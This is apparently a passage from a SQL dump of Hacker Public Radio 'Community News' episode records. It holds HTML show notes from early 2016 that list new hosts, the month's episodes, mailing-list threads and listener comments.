2016-01-20:\n\"KOReader\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1944#comments\" target=\"_blank\">hpr1944</a></strong>\n(2016-01-14) \"<em>sshfs - Secure SHell FileSystem</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1944#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-01-14:\n\"Using sshfs to mount Pi rootfs on faster machine for cross-compiles\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1944#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2016-01-15:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1944#3\" target=\"_blank\">Comment 3</a>:\n0xf10e on 2016-01-16:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1944#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-01-18:\n\"no multiple users\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1944#5\" target=\"_blank\">Comment 5</a>:\nKevin O&#39;Brien on 2016-01-21:\n\"Great show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#comments\" target=\"_blank\">hpr1946</a></strong>\n(2016-01-18) \"<em>Wok Cookery</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-01-18:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-01-18:\n\"String or no string\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-01-18:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#4\" target=\"_blank\">Comment 4</a>:\nMark Waters on 2016-01-19:\n\"Thanks\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2016-01-20:\n\"Thanks Mark\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#6\" target=\"_blank\">Comment 6</a>:\nFrank on 2016-01-20:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1946#7\" target=\"_blank\">Comment 7</a>:\nDave Morriss on 2016-01-21:\n\"Banana pepper\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1948#comments\" target=\"_blank\">hpr1948</a></strong>\n(2016-01-20) \"<em>Check Your Spelling in Vim</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1948#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-01-22:\n\"Thanks a lot\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1948#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2016-01-23:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1951#comments\" target=\"_blank\">hpr1951</a></strong>\n(2016-01-25) \"<em>Some additional Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1951#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-01-26:\"[no title]\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1951#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-01-27:\n\"Thanks Frank\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1952#comments\" target=\"_blank\">hpr1952</a></strong>\n(2016-01-26) \"<em>Time now Ladies and Gents</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1952#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-01-28:\n\"Great show idea\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1954#comments\" target=\"_blank\">hpr1954</a></strong>\n(2016-01-28) \"<em>Grandpa Shows Us How to Turn Custom Pens</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1954#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-01-28:\n\"Most interesting and entertaining\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1954#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2016-01-28:\n\"Acrylic smells\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1981,'2016-03-07','HPR Community News for February 2016',5248,'HPR Community News for February 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=324\" target=\"_blank\">Jon Doe</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1956\" target=\"_blank\">1956</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-02-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1956\" target=\"_blank\">HPR Community News for January 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1957\" target=\"_blank\">1957</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-02-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1957\" target=\"_blank\">FOSDEM 2016 K building level 1 Group B and C</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1958\" target=\"_blank\">1958</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-02-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1958\" target=\"_blank\">FOSDEM 2016 K building level 1 Group A</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1959\" target=\"_blank\">1959</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-02-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1959\" target=\"_blank\">FOSDEM 2016 K building level 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1960\" target=\"_blank\">1960</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-02-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1960\" target=\"_blank\">FOSDEM 2016 AW Building and more</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1961\" target=\"_blank\">1961</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-02-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1961\" target=\"_blank\">HPR New Years Show Episode 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1962\" target=\"_blank\">1962</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-02-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1962\" target=\"_blank\">HPR New Years Show Episode 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1963\" target=\"_blank\">1963</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-02-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1963\" target=\"_blank\">HPR New Years Show Episode 3</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1964\" target=\"_blank\">1964</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-02-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1964\" target=\"_blank\">HPR New Years Show Episode 4</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1965\" target=\"_blank\">1965</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-02-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1965\" target=\"_blank\">Adding SQLite as a datasource to SQLeo</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1966\" target=\"_blank\">1966</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-02-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1966\" target=\"_blank\">Whats in my bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1967\" target=\"_blank\">1967</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-02-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1967\" target=\"_blank\">How I saw the Linux Light at the end of the Windows tunnel</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1968\" target=\"_blank\">1968</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-02-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1968\" target=\"_blank\">Advanced Terminal Usage: byobu</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=324\" target=\"_blank\">Jon Doe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1969\" target=\"_blank\">1969</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-02-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1969\" target=\"_blank\">Horrors of Spam (and the Greater Horror of filtering it)</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=174\" target=\"_blank\">Josh Knapp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1970\" target=\"_blank\">1970</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-02-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1970\" target=\"_blank\">How I got started withy Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1971\" target=\"_blank\">1971</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-02-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1971\" target=\"_blank\">BlinkStick</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1972\" target=\"_blank\">1972</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-02-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1972\" target=\"_blank\">How I got into Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1973\" target=\"_blank\">1973</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-02-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1973\" target=\"_blank\">Free/Libre/Vrije Software: The Goal and the Path</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1974\" target=\"_blank\">1974</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-02-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1974\" target=\"_blank\">Ubuntu Community donations, Governance and Hardware</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1975\" target=\"_blank\">1975</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-02-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1975\" target=\"_blank\">Interview With An Android App Developer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1976\" target=\"_blank\">1976</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-02-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1976\" target=\"_blank\">Introduction to sed - part 1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Nigel Verity &lt;nigelverity@...&gt;<br/>\n        <em>Date:</em> 2016-01-22 21:48:38 UTC<br/>\n        <em>Subject:</em> Re: FOSDEM Send in your questions<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Joshua Knapp &lt;jknapp85@...&gt;<br/>\n        <em>Date:</em> 2016-02-02 15:45:25 -0800<br/>\n        <em>Subject:</em> Request.php giving 500 error?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1118\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1118</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Charles Thayer &lt;catintp@...&gt;<br/>\n        <em>Date:</em> 2016-02-04 14:00:56 UTC<br/>\n        <em>Subject:</em> Re: HPR In the press<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1121\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1121</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> &quot;zwilnik@...&quot; &lt;zwilnik@...&gt;<br/>\n        <em>Date:</em> 2016-02-08 10:27:03 -0500<br/>\n        <em>Subject:</em> Re: HPR In the press<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1122\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1122</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> &quot;David L. Willson&quot; &lt;DLWillson@...&gt;<br/>\n        <em>Date:</em> 2016-02-11 09:11:59 -0700<br/>\n        <em>Subject:</em> speech synthesis during intro<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1124\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1124</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-02-11 17:18:23 +0100<br/>\n        <em>Subject:</em> Re: speech synthesis during intro<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1123\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1123</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> sigflup synasloble &lt;pantsbutt@...&gt;<br/>\n        <em>Date:</em> 2016-02-14 19:18:21 -0600<br/>\n        <em>Subject:</em> title<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1128\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1128</a><br/>\n        <em>Messages:</em> 3<br/></li>\n</ol>\nTotal messages this month: 13<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 17 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1896#comments\" target=\"_blank\">hpr1896</a></strong>\n(2015-11-09) \"<em>User Local Software</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1896#2\" target=\"_blank\">Comment 2</a>:\nBoclodoa on 2016-02-01:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1919#comments\" target=\"_blank\">hpr1919</a></strong>\n(2015-12-10) \"<em>DerbyCon Interview with Paul Koblitz</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1919#1\" target=\"_blank\">Comment 1</a>:\nOtto  Localhorst on 2016-02-17:\n\"a template for a &#39;loid&#39;\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1941#comments\" target=\"_blank\">hpr1941</a></strong>\n(2016-01-11) \"<em>What\'s in my case</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>                   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#18\" target=\"_blank\">Comment 18</a>:\nNYbill on 2016-02-11:\n\"Its been a bit of an adventure...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#19\" target=\"_blank\">Comment 19</a>:\nDave Morriss on 2016-02-15:\n\"Old fountain pen\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#20\" target=\"_blank\">Comment 20</a>:\nJonathan Kulp on 2016-02-15:\n\"Pilot Metro and Scheaffer\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1941#21\" target=\"_blank\">Comment 21</a>:\nDave Morriss on 2016-02-15:\n\"Sheaffer\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1954#comments\" target=\"_blank\">hpr1954</a></strong>\n(2016-01-28) \"<em>Grandpa Shows Us How to Turn Custom Pens</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1954#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-02-01:\n\"Old Sheaffer\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1956#comments\" target=\"_blank\">hpr1956</a></strong>\n(2016-02-01) \"<em>HPR Community News for January 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1956#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-01-31:\n\"xmlstarlet, yes please\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1957#comments\" target=\"_blank\">hpr1957</a></strong>\n(2016-02-02) \"<em>FOSDEM 2016 K building level 1 Group B and C</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1957#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-02-01:\n\"Distros and Accessibility\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1957#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-02-02:\n\"It wasn&#39;t really fair\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1957#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2016-02-02:\n\"A11y awareness\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1958#comments\" target=\"_blank\">hpr1958</a></strong>\n(2016-02-03) \"<em>FOSDEM 2016 K building level 1 Group A</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1958#1\" target=\"_blank\">Comment 1</a>:\nTrent Palmer on 2016-02-04:\n\"Awesome Episode!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1958#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2016-02-05:\n\"Dazzling achievement\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1959#comments\" target=\"_blank\">hpr1959</a></strong>\n(2016-02-04) \"<em>FOSDEM 2016 K building level 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1959#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-02-03:\n\"More great interviews\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1972#comments\" target=\"_blank\">hpr1972</a></strong>\n(2016-02-23) \"<em>How I got into Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1972#1\" target=\"_blank\">Comment 1</a>:\nTurtle on 2016-02-25:\n\"Nice show\"</li>  \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1973#comments\" target=\"_blank\">hpr1973</a></strong>\n(2016-02-24) \"<em>Free/Libre/Vrije Software: The Goal and the Path</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1973#1\" target=\"_blank\">Comment 1</a>:\nAndreas on 2016-02-24:\n\"there is something missing...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1973#2\" target=\"_blank\">Comment 2</a>:\nJames Michael Du Pont on 2016-02-27:\n\"cut off\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2001,'2016-04-04','HPR Community News for March 2016',5317,'HPR Community News for March 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=327\" target=\"_blank\">noplacelikeslashhome</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1977\" target=\"_blank\">1977</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-03-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1977\" target=\"_blank\">What\'s In My Bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1978\" target=\"_blank\">1978</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-03-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1978\" target=\"_blank\">Ultra High Vacuum: loading samples</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">Amunizp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1979\" target=\"_blank\">1979</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-03-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1979\" target=\"_blank\">How to Make Perfect Steel-Cut Oats</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1980\" target=\"_blank\">1980</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-03-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1980\" target=\"_blank\">Fixing An Audio Problem while having a rant</a></td>\n    <td align=\"left\"><a 